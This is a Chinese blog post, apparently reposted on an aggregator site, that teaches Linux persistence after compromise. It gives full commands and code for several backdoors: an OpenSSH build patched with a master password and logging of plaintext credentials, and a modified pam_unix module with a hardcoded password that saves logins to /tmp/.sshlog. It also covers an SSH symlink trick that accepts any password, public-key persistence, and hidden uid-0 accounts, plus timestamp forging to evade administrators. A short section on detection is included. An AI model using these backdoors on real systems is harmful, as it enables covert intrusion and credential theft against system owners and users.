【权限维持】LinuxOpenSSHPAM后门SSH软链接公私钥登录

news2025/1/23 22:44:30

文章目录

  • 权限维持-Linux-替换版本-OpenSSH后门
    • @拓展玩法:
    • OpenSSH后门的防范方法
  • 权限维持-Linux-更改验证-SSH-PAM后门
    • 配置环境
  • 权限维持-Linux-登录方式-软链接&公私钥&新帐号
    • SSH软链接
    • 公私钥
    • 后门帐号
  • 参考

权限维持-Linux-替换版本-OpenSSH后门

这里复现也真是奇怪,在靶机上没复现成功,在服务器上复现成功了
原理:替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
参考:(演示未做版本修改及文件修改时间处理)

1、环境准备:

yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make                                   
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz 
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

2、编辑密码:

vim includes.h
177 #define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录
178 #define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录 
179 #define SECRETPW "whgojp"#万能密码
180 #endif /* INCLUDES_H */

在这里插入图片描述

3、安装编译:

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install
service sshd restart   #重启sshd服务
systemctl status sshd.service #查看ssh启动状态

在这里插入图片描述
修改sshd程序和配置文件的时间,避免被管理员发现sshd程序发生了修改
在这里插入图片描述

touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd

在这里插入图片描述

以及修改后的ssh版本
在这里插入图片描述
使用万能密码登录成功,并且未留下登录记录,同时在/tmp/ilog 记录了别人用ssh登录该主机记录的日志目录(明文密码)
在这里插入图片描述
还真是明文密码,溜了赶紧恢复快照

@拓展玩法:

1、可以采用万能密码登录
2、实现监控服务器登录登出的账号密码(发到外网)

OpenSSH后门的防范方法

重装OpenSSH软件,更新至最新版本7.2。
将SSH默认登录端口22更改为其他端口。
在IPTable中添加SSH访问策略。
查看命令历史记录,对可疑文件进行清理。在有条件的情况下,可重做系统。
修改服务器所有用户的密码为新的强健密码。
使用strace命令找出SSH后门。运行“ps aux | grep sshd”命令获取可疑进程的PID,运行“strace -o aa -ff -p PID”命令进行跟踪,成功登录SSH后,在当前目录下就生成了strace命令的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录文件。在上面的命令中,过滤错误信息、/dev/null信息和拒绝(denied)信息,找出打开了读写模式(WR)的文件(因为要把记录的密码写入文件)。可以找到以读写方式记录在文件中的SSH后门密码文件的位置,并通过该方法判断是否存在SSH后门。当然,也有不记录密码,而仅仅留下一个万能SSH后门的情况。

权限维持-Linux-更改验证-SSH-PAM后门

参考:https://xz.aliyun.com/t/7902
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登陆,将用户名密码记录到文件中。

配置环境

关闭

selinux setenforce 0

在这里插入图片描述

查询版本

rpm -qa | grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flex flex-devel -y

-修改配置:
留PAM后门和保存SSH登录的账号密码
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 
name = p = NULL;

AUTH_RETURN;
-编译安装:

./configure && make

-备份复制:
备份原有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

权限维持-Linux-登录方式-软链接&公私钥&新帐号

SSH软链接

在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。
SSH配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config|grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4567

在这里插入图片描述

ssh root@xx.xx.xx.xx -p 4567 任意密码登录即可
在这里插入图片描述
缺点:重启后失效 重新开了一个端口,容易被发现

公私钥

https://www.bilibili.com/read/cv17721345/
开启:
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
ssh-keygen -t rsa #三次回车
在这里插入图片描述

id_rsa : 私钥
id_rsa.pub : 公钥
在这里插入图片描述
直接登陆,无需密码
在这里插入图片描述
缺点:容易被发现

后门帐号

###添加root用户:
#添加账号test1,设置uid为0,密码为123456

useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

在这里插入图片描述

echo "xiaodi:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd xiaodi #修改xiaodi的密码为xiaodi123

在这里插入图片描述

参考

https://www.cnblogs.com/csnd/p/11807653.html
https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/433968.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java 获取时间的方法

Java的时间是通过字节码指令来控制的&#xff0c;所以 java程序的运行时间是通过字节码指令来控制的。但是由于 Java程序在运行时&#xff0c; JVM会产生一些状态&#xff0c;所以在执行 JVM指令时&#xff0c; JVM也会产生一些状态。 我们在执行 java程序时&#xff0c;主要是…

JVM(面试问题简析)学习笔记

文章目录 1. JVM中有哪几块内存区域&#xff1f;Java 8 之后对内存分代做了什么改进&#xff1f;2. 你知道JVM是如何运行起来的吗&#xff1f;堆内存中对象的分配的基本策略&#xff1f;3. 说说 JVM 在哪些情况下会触发垃圾回收&#xff1f;JVM 的年轻代垃圾回收算法&#xff1…

【杂凑算法篇】密码杂凑算法的安全强度

【杂凑算法篇】密码杂凑算法的安全强度 杂凑&#xff08;哈希&#xff09;算法安全强度—【蘇小沐】 文章目录 【杂凑算法篇】密码杂凑算法的安全强度&#xff08;一&#xff09;安全强度&#xff08;Security Strength)&#xff08;二&#xff09;杂凑算法的安全强度与对比总…

x86汇编

寄存器 常规 AX累加&#xff0c;算术运算或函数返回值存储 基址寄存器(BX)&#xff0c;指向数据的指针 计数寄存器CX&#xff0c;移位&#xff0c;循环&#xff0c;一些量 数据寄存器DX&#xff0c;运算超过16位&#xff0c;高16位放在DX 堆栈指针寄存器SP&#xff0c;用于指向…

系统设计访谈-业内人事指南 《System Design Interview-An insider‘s guide》中文版

前言&#xff1a; We are delighted that you have decided to join us in learning the system design interviews. System design interview questions are the most difficult to tackle among all the technical interviews. The questions require the interviewees to de…

(Qt) 重定向内置日志

文章目录 前言代码.pri 独立的包log.priLOG_Config.hppLOG.hLOG.cpp examplelog_test.promain.cpp 使用效果debug模式release模式 分析Qt内部结构核心函数核心配置 END 前言 在软件开发过程中&#xff0c;避免不了日志的使用。 在Qt中&#xff0c;我们平常用的#include <Q…

Django | 解决admin增加新用户只有用户名密码和确认密码的问题

文章目录 如图所示&#xff0c;下面给出解决方案&#xff1a; 如果您使用 使用 Django 默认的后台管理界面添加用户时&#xff0c;只看到了三个字段&#xff08;通常是 username、password和 repassword&#xff09;&#xff0c;那么可以通过定义 add_fieldsets 属性来增加更多…

Jenkins关联GitLab

1、Jenkins、GitLab服务器上面生成公钥、私钥 ssh-keygen -t ecdsa # 回车 指到没有交互式2、GitLab WEB端添加 刚刚生成的公钥 cat ~/.ssh/id_ecdsa.pub # 查看密钥登入gitlab > 右上角头像 > 偏好设置 > SSH秘钥 使用相同方法 添加Jenkins秘钥 3、Jenkins创建一…

Graph push pull

图数据的存储结构 键值对存储因具有可扩展强、结构简单、查找迅速等特点被广泛应用于图查询系统中&#xff0c;如Wukong、Trinity.RDF。在Wukong系统中&#xff0c;图上的边会转换成键值对进行存储&#xff0c;将顶点编号、边的类型、边的方向、值的地址和大小等信息组合成键&…

Bitmap 实现当前在线用户数量

Bitmap是什么&#xff1f; Bitmap是Redis中的一种数据结构&#xff0c;它是一个类似于位数组的数据结构&#xff0c;用于处理位数据。在Redis中&#xff0c;Bitmap是使用字符串来存储的&#xff0c;一个Byte可以存储8个二进制位&#xff0c;一个字符串可以存储232个二进制位&a…

成功解决:NLTK包的安装错误

成功解决NLTK包的安装错误 创建环境NLP_Pre_train l环境 conda create -n NLP_Pre_train python3.8激活 conda activate NLP_Pre_train安装NLTK&#xff0c;套用以下命令 pip install NLTK之后是验证NLTK是否安装成功&#xff0c;采用的步骤如下所示&#xff1a; import n…

认识Java文件操作和IO流

文件操作&#xff08;一&#xff09; 文章目录 文件操作&#xff08;一&#xff09;文件的特性路径文件分类File类的使用文件的创建文件的删除文件创建加目录创建列出当前文件夹包含的文件文件重命名函数 文件的特性 我们所说的文件一般指的是硬盘文件&#xff0c;其实文件不止…

Minio对象存储服务介绍、单机和集群部署及其使用

Minio对象存储服务介绍、单机和集群部署及其使用 前言Minio简介Minio版本选择AGPL协议说明Minio优缺点优点缺点 Minio分server 和clientminio-client下载二进制文件查看 mc 版本 Minio分布式集群详细搭建基础环境操作系统Minio下载 准备工作1、机器资源2、创建相关目录3、创建启…

IOC容器与DI依赖注入示例

IOC容器与DI依赖注入示例 IOC深入理解IOC示例&#xff1a; DI深入理解DI示例 IOC深入理解 我们先通过几个问题来加深一下对IOC的理解 (1)Spring是使用IOC容器来管理bean对象的&#xff0c;我们主要管理什么? 主要管理项目中所使用到的类对象&#xff0c;比如(Service层对像和…

哈希表|STL使用

哈希表 时间复杂度为O(1) 拉链法 把X代表的数字映射到N所在区间&#xff0c;有可能会发生冲突俩个或多个数字映射到1个数 拉链法&#xff1a;把冲突的数字挂起来&#xff0c;用单链表挂起来 一般取模的数要取成质数&#xff0c;而且这个质数离二的n次幂要比较远&#xff0c;这样…

什么是深度学习?

目录 简介 深度学习的由来 深度学习未来的趋势 总结 简介 深度学习是在20世纪80年代被提出来的&#xff0c;主要是由加拿大的计算机科学家Geoffrey Hinton、Yoshua Bengio、Yann LeCun等人发起的。Geoffrey Hinton等人在经过多年的研究和实践之后&#xff0c;…

C语言的指针(进阶)

目录 数组指针 数组指针的使用 函数指针 函数指针数组 指向函数指针数组的指针 回调函数 数组指针 数组指针是指针&#xff1f;还是数组&#xff1f; 答案是&#xff1a;指针 数组指针也就是指向一个数组的指针 看下面两条代码&#xff1a; int *p1[10]; int (*p2)[10]; …

Manjaro安装clash-for-windows-bin

安装 安装Clash for Windows yay -S clash-for-windows-bin 配置 命令行进入~/.config/clash/ &#xff0c;配置文件 config.yaml 和 Country.mmdb wget -O config.yaml [订阅链接]wget -O Country.mmdb https://gitee.com/mirrors/Pingtunnel/raw/master/GeoLite2-Country.…

领导给了一千多个需求,这个排序法救了我的命……

什么是MoSCoW排序法&#xff1f; 莫斯科排序法是一种优先级排序法&#xff0c;用于管理需求、任务或功能列表。该方法可以帮助团队确定哪些需求、任务或功能是最重要的&#xff0c;并决定在特定时间段内是否需要完成它们。 所以在对需求进行排序时&#xff0c;可以从以下维度…

优思学院|六西格玛常见问题有哪些?

要实现高质量、高效率和高客户满意度的目标&#xff0c;许多企业采用了六西格玛方法。然而&#xff0c;在实施过程中&#xff0c;往往会遇到各种各样的问题。优思学院会在这里探讨一下几个六西格玛常见问题&#xff0c;并提供解决方案&#xff0c;以帮助企业成功实施六西格玛方…